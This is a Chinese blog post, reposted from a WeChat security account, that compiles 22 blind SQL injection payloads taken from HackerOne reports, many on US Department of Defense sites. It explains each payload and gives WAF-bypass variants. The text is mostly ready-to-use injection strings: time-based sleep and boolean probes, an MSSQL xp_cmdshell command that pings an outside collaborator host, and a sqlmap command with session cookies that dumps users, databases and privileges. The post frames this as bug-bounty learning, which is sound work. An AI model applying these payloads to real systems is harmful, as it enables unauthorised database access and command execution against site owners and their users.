【HackerOne】提交过的所有真实盲注漏洞汇总

admin 2022年7月1日09:14:16评论1,148 views字数 3736阅读12分27秒阅读模式


0x01 前言

我通过谷歌高级语法,找到了hackerone上面提交过的所有盲注漏洞,其中大部分来自美国国防部Department of Defense (DoD),提交时间都在2015年左右,并且我对所有的payload做了一个复现,希望能为想去hackerone挖漏洞的师傅们提供一点帮助。

这次是我在攻防社区第一篇真正意义上的首发文章,表示想求一本攻防社区期刊!!!!!!

0x02 正文

HackerOne 盲注篇

1. 在登录页面phone_number参数处插入0’XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR’Z

【使用了异或注入,nowsysdate函数返回的都是当前系统时间,作用等同于if(1,sleep(3),0)

【HackerOne】提交过的所有真实盲注漏洞汇总

2. 在topsort参数处插入follower+or+sleep(3),还有一个报告也是在sort参数处

【总之在任意参数处都可以尝试插入+or+sleep(3),重点关注sort相关参数,像sort这种排序的,一般都是order by后面】

【HackerOne】提交过的所有真实盲注漏洞汇总

3. 点赞评论时的comment_id参数处插入123-sleep(3)

【因为参数是数字,可以猜测是整数型注入,而整数不需要带’,”,(),因此可以bypass WAF,为什么是“-“呢?相当于做减法运算了,触发了后面的sleep函数】

【HackerOne】提交过的所有真实盲注漏洞汇总

4. JSON POST形式提交docId参数处插入1 and (select substring(@@version,1,1))=’M’

【这个需要爆破数据库版本的每一位字符,判断对了就返回正常页面,其中substring函数若被过滤,可以用mid函数替代】

【HackerOne】提交过的所有真实盲注漏洞汇总

5. 在POST的rememail参数处插入[email protected]'%2b(select*from(select(sleep(3)))a)%2b'

【使用()能够BYPASS空格过滤,找到注入点后,使用sqlmap跑,python sqlmap.py -u "https://████████:443/elist/viewem6.php" --data="[email protected]" --level=5 --risk=3 --users --dbs -b --hostname --current-db --privileges --is-dba --cookie="v1st=A9532F64A9E711AF;PHPSESSID=1796d85a30d3addf5934c1f0fafec529"

【HackerOne】提交过的所有真实盲注漏洞汇总

6. 在API接口POST提交的SCEN_ID参数处插入33; DECLARE @command varchar(255); SELECT @command='ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP'

【从xp_cmdshell就可以看出这是mssql命令,使用declare的方式可以绕过WAF对一些关键字的过滤,burpcollaborator.net这个通过ping DNSLOG来判断漏洞存在,感觉大佬payload应该错了,declare后应该用set而非select

【HackerOne】提交过的所有真实盲注漏洞汇总

7. 在res_id参数处插入51-CASE/**/WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END

【为什么用“-“?上面已经说过了,其中/**/是内联注释,可以BYPASS空格过滤,除此之外,()也可以】

【HackerOne】提交过的所有真实盲注漏洞汇总
8. 在search参数处插入0' and sleep(3) and 'xx' like 'xx

【如果=被过滤了,可以用like替代,上面payload等同于and 1=1,这里给我提了个醒,搜索功能处可能也存在sql注入,虽然每次xss的时候返回内容都经过了html实体化,但是不代表传入数据库的时候也是,感觉大佬payload应该错了,前面不应该为’0’,因为’0’比较特殊,哪怕是字符串也等同于0,0 and 10 and 0都返回0,无法进行任何判断】

【HackerOne】提交过的所有真实盲注漏洞汇总

9. 在API接口POST提交的count参数处插入-1+or+1%3d((SELECT+1+FROM+(SELECT+SLEEP(25))A))

【原理等同于or 1=1,我们结合上面的BYPASS知识,对大佬的payload进行修改,变成-1/**/or(1)like(select(1)from(select(sleep(3)))a);

【HackerOne】提交过的所有真实盲注漏洞汇总

【HackerOne】提交过的所有真实盲注漏洞汇总

10. POST提交的location参数处插入(select*from(select(sleep(3)))a)

【上面有一样的例子,就不讲了,让大家多关注一些特殊参数】

11. https://████████/item/default’and%20substr(version(),1,1)=’0’ 通过item参数处插入default'and%20substr(version(),1,1)='0'--

【这里的参数比较特殊,是以路由匹配的形式进行提交的,有点类似于thinkphp,后面的—是注释符,把后面的sql命令都注释了,感觉大佬命令错了,不是and,而应该是or,因为default是字符串等同于0,0 and 10 and 0都返回0,无法进行任何判断】

【HackerOne】提交过的所有真实盲注漏洞汇总

12. 在请求头user-agent后面插入'XOR(if(now()=sysdate(),sleep(5*5),0))OR'

【上面有一样的例子,就不讲了,下次记得试试注入user-agent】

13. 在viewVideo.asp页面的t=7参数处插入pg_sleep(20)

【为什么这里可以不用闭合?因为是整数型注入】

14. 在https://betterscience.org/plugin/tag/后插入if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

【首先,这个也是路由匹配的方式,也就是为什么参数以目录形式提交。其次这个payload有点怪,为什么内联注释里面还有相同payload,这有一个好处,就是当你不知道注入点是整数型还是字符型的时候,不管有没有’和”闭合,都能执行】

15. 在user-agent处插入if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

【除了注入点在消息头,payload和上面的一样,就不多说了】

16. 在POST提交的group_id参数处插入1'-if(1=1,sleep(3),0) and group_id='1

【事实证明,不仅是整数型可以用“-”做运算,字符型也可以】

【HackerOne】提交过的所有真实盲注漏洞汇总

17. 在JSON的一个回调函数里面(即?callback=jsonxxxxx)后面的new参数处插入(select*from(select(sleep(3)))a)

【上面有类似例子,不多说了】

【HackerOne】提交过的所有真实盲注漏洞汇总

18. 在一个token相关的API存在注入,注入点在refresh_token参数处插入';waitfor delay '0:0:13'-- ,以JSON方式提交

【从waitfor delay就可以知道,这是一个sql server的payload,结合了堆叠注入,--把后面的语句给注释掉了,所以不用闭合】

19. 在一个搜索框POST提交时的fSearchDefaultSortDirection参数处插入desc%2C(select*from(select(sleep(3)))a)

【从参数关键字sort就可以知道,大概率是用了order by语句,所以payload开头才是desc的排序方式,其他的在上面都已经讲过了】

【HackerOne】提交过的所有真实盲注漏洞汇总

20. 在API的city_id参数处插入(select(0)from(select(sleep(3)))v)

【看到id,大概率就是整数型注入,为什么是select(0),是为了让sql语句返回一个整数0,其他的上面已经说过了。】

21. 在doc_id参数处插入1%20and%20(select*from(sleep(3))a)

【整数型注入,不用闭合,payload和上面类似,就不多说了,这里的and可以用-代替,就可以BYPASS空格】

【HackerOne】提交过的所有真实盲注漏洞汇总

【HackerOne】提交过的所有真实盲注漏洞汇总

22. 在一个登录凭证API的username参数处插入admin' and user() like '%';--

【xdm,这个我是真的不明白payload为什么要这么构造了,因为1 and user() like '%'就相当于1 and 1=1 只是一个布尔型注入,并不回显任何数据,就当一个留白吧,把思考留给大家,有知道的兄弟可以把自己的想法写在评论区】

【HackerOne】提交过的所有真实盲注漏洞汇总

欢迎关注我的公众号:韬光养晦安全
红蓝对抗日常分享,带给你国际安全视野

【HackerOne】提交过的所有真实盲注漏洞汇总

原文始发于微信公众号(韬光养晦安全):【HackerOne】提交过的所有真实盲注漏洞汇总

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月1日09:14:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackerOne】提交过的所有真实盲注漏洞汇总http://cn-sec.com/archives/1133441.html

发表评论

匿名网友 填写信息